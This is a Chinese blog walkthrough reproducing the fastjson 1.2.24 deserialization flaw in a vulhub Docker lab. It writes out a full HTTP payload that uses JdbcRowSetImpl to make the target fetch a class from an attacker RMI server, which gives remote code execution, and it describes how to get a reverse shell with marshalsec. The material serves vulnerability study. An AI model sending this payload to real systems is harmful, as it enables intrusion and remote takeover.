【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程

文章目录

  • 前言
  • 漏洞环境搭建
  • 漏洞利用复现
    • 处理json时发生反序列化
    • JNDI注入
    • 反弹shell
  • 总结


前言

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
利用版本: fastjson <= 1.2.24


漏洞环境搭建

使用docker和vulhub搭建漏洞环境。需要提前在本地安装docker,windows可以安装Docker Desktop,Linux直接安装Docker就可以了,vulhub提供了漏洞的docker-compose可以一键搭建漏洞环境,非常方便。将vulhub拉取到本地之后,进入fastjson目录的1.2.24目录下。可以看到有docker-compose.yml。
vulhub/fastjson/1.2.24/
直接运行docker-compose up -d即可后台运行漏洞环境(需要等待一小段时间搭建环境)。
【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第1张图片
这时候我们输入docker ps就可以查看到我们创建的一个容器了,fastjson就在里面运行着。
container
PORTS字段可以看到docker把容器内的8090端口也映射到了本地的8090端口。现在只需要访问本地的8090端口就可以访问到了。
【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第2张图片

漏洞利用复现

处理json时发生反序列化

需要注意:对127.0.0.1的访问可能不会经过代理,这时候只要ipconfig,查看本地的ip来访问。

使用burpsuite抓取请求包。
【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第3张图片
修改为POST方式,把内容类型改成application/json,并且发现发送age和name去可以指定回显的json。
【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第4张图片
说明我们的json经过处理了。Fastjson提供了反序列化功能,允许用户在输入JSON串时通过"@type"键对应的value指定任意反序列化类名。并且Fastjson在反射地生成我们指定的类的实例化对象时,还会自动调用该对象的setter方法及部分getter方法。
我们payload这里反序列化了一个com.sun.rowset.JdbcRowSetImpl的类,在反射的过程中,调用了lookup方法,而lookup的参数可以通过"dataSourceName"键对应的value指定,这就可以进行JNDI注入。Fastjson1.2.25版本新增了checkAutoType方法,设置了autotype开关,对@type字段进行限制。如果autotype开关关闭,则无法从@type字段传入类进行jndi攻击。

JNDI注入

接下来直接使用JNDI攻击就可以了,可以自行编写恶意类,然后通过假设rmi服务或者ldap来攻击,也可以直接在github上找到jndi注入的方便搭建恶意rmi或者ldap服务的工具,这里需要目标在网络上能够访问到这台服务器。
【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第5张图片
【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第6张图片

POST / HTTP/1.1
Host: 靶机url
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 160

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsip:1099/9cf4ag",
        "autoCommit":true
    }
}

【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第7张图片
进入docker查看创建文件成功,即远程命令执行成功。(进入容器的命令docker exec -i -t <容器name> /bin/sh,windows可以直接图形界面进去,很方便)
在这里插入图片描述

反弹shell

写一个恶意类evil.java,编译完之后放到web根目录,可以通过80端口访问到这个evil.class
【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第8张图片
然后启动marshalsec一键搭建rmi服务器(github上下载),监听9999端口。
opening
发送payload
【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第9张图片
VPS成功接收到反弹shell。
【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第10张图片
同理ldap也可以。
ldap
【渗透测试漏洞复现】fastjson1.2.24漏洞复现详细过程_第11张图片

总结

上文只是复现了一下漏洞,并且简单记录了一下如何攻击,payload的构成,有时间可以深入的分析一下代码,学习一下该反序列化链的流程。

你可能感兴趣的:(JAVA安全,java,web安全)